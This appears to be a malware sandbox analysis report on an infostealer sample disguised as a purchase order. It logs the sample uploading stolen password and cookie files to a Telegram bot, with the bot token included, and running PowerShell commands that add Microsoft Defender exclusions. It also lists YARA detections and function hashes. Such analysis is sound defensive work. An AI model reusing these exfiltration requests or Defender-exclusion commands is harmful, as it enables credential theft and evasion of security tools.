2024-12-05 13:02:11 UTC	584	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 36 35 39 65 35 39 64 62 36 61 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 57 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 30 35 32 37 30 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 35 2f 31 32 2f 32 30 32 34 20 2f 20 30 38 3a 30 31 3a Data Ascii: --------------------------8dd1659e59db6a3Content-Disposition: form-data; name="document"; filename="PW_Recovered.txt"Content-Type: application/x-ms-dos-executablePW \| user \| VIP Recovery PC Name:105270Date and Time: 05/12/2024 / 08:01:
2024-12-05 13:02:12 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 05 Dec 2024 13:02:12 GMT Content-Type: application/json Content-Length: 524 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-05 13:02:12 UTC	524	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 31 30 38 35 35 36 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 62 65 73 74 72 65 70 6f 72 74 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 74 6f 6f 6c 7a 78 62 6f 78 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 33 36 32 37 35 37 36 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 72 69 67 68 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 72 69 67 68 74 33 34 30 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 34 30 33 37 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c Data Ascii: {"ok":true,"result":{"message_id":12729,"from":{"id":7721085569,"is_bot":true,"first_name":"bestreportbot","username":"toolzxboxbot"},"chat":{"id":6236275763,"first_name":"Bright","username":"Bright340","type":"private"},"date":1733403732,"document":{"fil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49889	149.154.167.220	443	3700	C:\Users\user\AppData\Local\Temp\ubygsn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 13:02:15 UTC	356	OUT	POST /bot7721085569:AAH1tkciy-nKykIEUNjOAUsItTcvNCVmFLo/sendDocument?chat_id=6236275763&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0ACookies%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8dd167d86b4a9a5 Host: api.telegram.org Content-Length: 1281
2024-12-05 13:02:15 UTC	1281	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 36 37 64 38 36 62 34 61 39 61 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 6f 6f 6b 69 65 73 5f 52 65 63 6f 76 65 72 65 64 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 43 6f 6f 6b 69 65 73 20 7c 20 65 6e 67 69 6e 65 65 72 20 7c 20 56 49 50 20 52 65 63 6f 76 65 72 79 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 31 30 35 32 37 30 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 30 35 2f 31 32 2f 32 30 32 Data Ascii: --------------------------8dd167d86b4a9a5Content-Disposition: form-data; name="document"; filename="Cookies_Recovered.txt"Content-Type: application/x-ms-dos-executableCookies \| user \| VIP Recovery PC Name:105270Date and Time: 05/12/202
2024-12-05 13:02:16 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 05 Dec 2024 13:02:15 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-05 13:02:16 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 37 33 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 32 31 30 38 35 35 36 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 62 65 73 74 72 65 70 6f 72 74 62 6f 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 74 6f 6f 6c 7a 78 62 6f 78 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 33 36 32 37 35 37 36 33 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 42 72 69 67 68 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 42 72 69 67 68 74 33 34 30 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 34 30 33 37 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c Data Ascii: {"ok":true,"result":{"message_id":12731,"from":{"id":7721085569,"is_bot":true,"first_name":"bestreportbot","username":"toolzxboxbot"},"chat":{"id":6236275763,"first_name":"Bright","username":"Bright340","type":"private"},"date":1733403735,"document":{"fil

Target ID:	0
Start time:	08:01:06
Start date:	05/12/2024
Path:	C:\Users\user\Desktop\BQ_PO#385995.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\BQ_PO#385995.exe"
Imagebase:	0x276085b0000
File size:	408'064 bytes
MD5 hash:	7E3E88FAD78DFF83EA421084315BFD78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.2258559792.000002760A47C000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000000.00000002.2258559792.000002760A756000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:01:06
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:01:09
Start date:	05/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:	0xfc0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000003.00000002.4586871157.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID, Description: Detects executables referencing Windows vault credential objects. Observed in infostealers, Source: 00000003.00000002.4616809591.0000000007240000.00000004.08000000.00040000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_BrowserPasswordDump_1, Description: Yara detected BrowserPasswordDump, Source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: INDICATOR_SUSPICIOUS_EXE_Discord_Regex, Description: Detects executables referencing Discord tokens regular expressions, Source: 00000003.00000002.4606149598.000000000441A000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000003.00000002.4593226321.00000000033C1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	4
Start time:	08:01:09
Start date:	05/12/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Imagebase:
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	08:01:10
Start date:	05/12/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 2244 -s 1048
Imagebase:	0x7ff631a70000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:01:13
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe'
Imagebase:	0xc70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000008.00000002.2241224175.0000000004876000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:01:13
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:01:19
Start date:	05/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'msbuild.exe'
Imagebase:	0xc70000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 0000000B.00000002.2281406478.0000000004CD6000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:01:19
Start date:	05/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:01:31
Start date:	05/12/2024
Path:	C:\Users\user\AppData\Local\Temp\ubygsn.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\ubygsn.exe"
Imagebase:	0x980000
File size:	277'504 bytes
MD5 hash:	4C8C1CEB91408AD5A5011B56B325419E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000E.00000000.2385310132.0000000000982000.00000002.00000001.01000000.0000000A.sdmp, Author: unknown Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000E.00000002.4593828211.0000000002DC1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000E.00000002.4593828211.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: unknown Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: Florian Roth Rule: INDICATOR_SUSPICIOUS_EXE_DotNetProcHook, Description: Detects executables with potential process hoocking, Source: C:\Users\user\AppData\Local\Temp\ubygsn.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 71%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	10.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	6
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD34472158 Relevance: 4.4, Strings: 3, Instructions: 634
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

HoQ4, xrefs: 00007FFD3447383E
d, xrefs: 00007FFD3447357F
xa64, xrefs: 00007FFD34473850

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: HoQ4$d$xa64
API String ID: 0-2427358122
Opcode ID: 2c0c97fd52680790eb0efa9a0ceafdd58a62e5f375654e87749568cc17811797
Instruction ID: cadcb898b204dd28c33843c1c2bf279d5f625ca7c9a60ad7662881588848e0b8
Opcode Fuzzy Hash: 2c0c97fd52680790eb0efa9a0ceafdd58a62e5f375654e87749568cc17811797
Instruction Fuzzy Hash: 58026731B1CA454FE358DB2898D65B17BD0FF46314B1582BAD5AAC719BEE28F843C780

Function 00007FFD34472A2C Relevance: 4.2, Strings: 3, Instructions: 470
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

hKQ4, xrefs: 00007FFD34472B44
fish, xrefs: 00007FFD34472A80
p_54, xrefs: 00007FFD34472AC0

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: fish$hKQ4$p_54
API String ID: 0-3785999956
Opcode ID: 16c87c10d686cb940243bdb8bf9bb231d57a5c3ec30f209a2e143c603df4c702
Instruction ID: e99b50e9727a9cd6aac9843b158a0f12573440fc51fc87e070afaf23c88c174a
Opcode Fuzzy Hash: 16c87c10d686cb940243bdb8bf9bb231d57a5c3ec30f209a2e143c603df4c702
Instruction Fuzzy Hash: A9D15831B1CA8A0FE75DAA2888A55B57BE1FF97310B05817ED19BC31D7DD28A8038381

Function 00007FFD3447D489 Relevance: 4.2, Strings: 2, Instructions: 1660COMMON

Download Yara Rule

Strings

@S4, xrefs: 00007FFD3447D609
@S4, xrefs: 00007FFD3447D5E8

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: @S4$@S4
API String ID: 0-2714596547
Opcode ID: 51d9384ba2602f7655f14f4769db6ea87d723c37ec0f9c9e69fd0b6602ee111b
Instruction ID: bfd818faba84677d515e55a9b4a356daa1fbd17ac32859ff99ec704933b20ebc
Opcode Fuzzy Hash: 51d9384ba2602f7655f14f4769db6ea87d723c37ec0f9c9e69fd0b6602ee111b
Instruction Fuzzy Hash: 45B29C3071CB454FE359DB28C8A14B57BE1FF86301B15867EE49AC729ADE38E846C781

Function 00007FFD3447C300 Relevance: 3.2, Strings: 2, Instructions: 733
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

JS_H, xrefs: 00007FFD3447C7F3
@S4, xrefs: 00007FFD3447CCA6

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: JS_H$@S4
API String ID: 0-990335115
Opcode ID: d74a24452b9aba73bed872b57b9d46042f6e83c36fede7c5a19ab3736f919228
Instruction ID: b0b3e768176164159f6fb9a94daa73b8e909d20777713db7f303d313ec0d6fd7
Opcode Fuzzy Hash: d74a24452b9aba73bed872b57b9d46042f6e83c36fede7c5a19ab3736f919228
Instruction Fuzzy Hash: 23228832B0DA4A0FF7A8DA2858B52753BC1EF96310B06C1BED55EC719BDD5CA8079381

Function 00007FFD34477E60 Relevance: 3.1, Strings: 2, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(wS4, xrefs: 00007FFD34482630
(wS4, xrefs: 00007FFD34482655

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: (wS4$(wS4
API String ID: 0-1144557807
Opcode ID: 86904b72bea2f63b9b9b0fa3d6c79da971ebf47fb4f8cff9986fd5f0c6de32a9
Instruction ID: 5d222c961fa3940ad170bbbc0ab26abcd5812267373fef770c7cee5965bfa6db
Opcode Fuzzy Hash: 86904b72bea2f63b9b9b0fa3d6c79da971ebf47fb4f8cff9986fd5f0c6de32a9
Instruction Fuzzy Hash: A5123631B0C98A4FE3E8D61CC8B667577D1FF9A310B0501BAD58DC7296DE9EAC069381

Function 00007FFD34477898 Relevance: 2.9, Strings: 1, Instructions: 1661COMMON

Download Yara Rule

Strings

@qS4, xrefs: 00007FFD3447FE95

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: @qS4
API String ID: 0-1598127972
Opcode ID: a97cff24e3a3151e3f07e8ddd6d309088c6bcb672a7166dba0a87d524d9c2116
Instruction ID: 40a78db01e428cb3b30d8489fa9f606005ddf32c14dbbd78ea69296159fe98fd
Opcode Fuzzy Hash: a97cff24e3a3151e3f07e8ddd6d309088c6bcb672a7166dba0a87d524d9c2116
Instruction Fuzzy Hash: 0FC2E971B1CA098FE7A8DB18C8A56787BE1FF56300F1540BAD16EC7296DE68AC42D740

Function 00007FFD34550002 Relevance: 2.2, Instructions: 2228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267771969.00007FFD34550000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34550000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34550000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56c5b3583213c89fe1b7eed5541b09d60310c7c0f7a8682f1695d97531acaaad
Instruction ID: 51a2e9ff7c11beb950828b6f6b5f120567e53ded60251310da3ad43588280104
Opcode Fuzzy Hash: 56c5b3583213c89fe1b7eed5541b09d60310c7c0f7a8682f1695d97531acaaad
Instruction Fuzzy Hash: CCE2D472E0D7C64FEB56DB2888A55B47FE0EF57300F0905FAD18ACB193DA28A806D751

Function 00007FFD3447A901 Relevance: 2.2, Strings: 1, Instructions: 916
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

`}S4, xrefs: 00007FFD3447AEEF

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID: `}S4
API String ID: 0-4134086974
Opcode ID: 04eededbb600cb19b716bc8152d3be01bb3218bde64c2f9804855a370de5b207
Instruction ID: 2ca604e3b065861dcdfd02095a6cfb397e1b6d7563a6a6b9ff67e7e20bd9ccba
Opcode Fuzzy Hash: 04eededbb600cb19b716bc8152d3be01bb3218bde64c2f9804855a370de5b207
Instruction Fuzzy Hash: 36525831A0CB8A4FE759DB38C8A45A47BF1FF56300B1581BED099DB1A7DA3DA846C740

Function 00007FFD3447EE2A Relevance: 1.0, Instructions: 987COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 258639cb5ee9e95534ded4b1d31c2a056153cc102fccfca56aad3c9f5fc10297
Instruction ID: 772c9ceaacdbe3768e3e541f4701b601324cb2cc9ac0767bf0bd32a16234190c
Opcode Fuzzy Hash: 258639cb5ee9e95534ded4b1d31c2a056153cc102fccfca56aad3c9f5fc10297
Instruction Fuzzy Hash: 4F62693160CB454FE358DB28C8A15B17BE1FF96300B1185BED5AAC729ADE69B843C781

Function 00007FFD3447B8BB Relevance: .9, Instructions: 865COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 878c7b05437f8e9aa44bed957c3df83b3727667e72a1d378cf87f932c045901f
Instruction ID: b7fe0e14b9bb5a2827598556178c1a9377c9aebe9ca9750d11b2c54cbc84d0a5
Opcode Fuzzy Hash: 878c7b05437f8e9aa44bed957c3df83b3727667e72a1d378cf87f932c045901f
Instruction Fuzzy Hash: 3A421830B0CA494FDB68EB28C8A56797BE1FF56304B1541BDE49EC7296DE28EC42D740

Function 00007FFD3447920C Relevance: .7, Instructions: 731COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 509e94b139fc91f6d4e2eb23e14f0d7d76fa1754d67aa07789b5f283f12b2027
Instruction ID: 0b6242aa1de54ee6ddeecd1d74b0a1cac5629d5ab51f99233071542a752c305e
Opcode Fuzzy Hash: 509e94b139fc91f6d4e2eb23e14f0d7d76fa1754d67aa07789b5f283f12b2027
Instruction Fuzzy Hash: AF029C5698E3C20FE35346704CB64A17FB5AE2361070F91EBC6D4CB0E7DA5D580AEB22

Function 00007FFD3447A520 Relevance: .4, Instructions: 387COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed685f1eba1ba8696a61b47415e8177ba552c39d5444bd2d39dc699835efd60
Instruction ID: f621f81e048db61b76865a2214e8079b4f020c8cf7798018a57dfdc6333360d6
Opcode Fuzzy Hash: 7ed685f1eba1ba8696a61b47415e8177ba552c39d5444bd2d39dc699835efd60
Instruction Fuzzy Hash: F8C19C3160DB854FE31DCB2888E51B1BBE1FF82311B05867ED4D6C72A9DA2DA447D781

Function 00007FFD34479545 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2267149604.00007FFD34470000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd34470000_BQ_PO#385995.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 84bcfc09909aa51ee393e08ef808a3fb5bd09ddc850dc77fe5a98d8d6afdccf8
Instruction ID: b7db4a4743f813ed94a4c0a7f703b1544e213ec1ab452d6d686420bbfffd1dea
Opcode Fuzzy Hash: 84bcfc09909aa51ee393e08ef808a3fb5bd09ddc850dc77fe5a98d8d6afdccf8
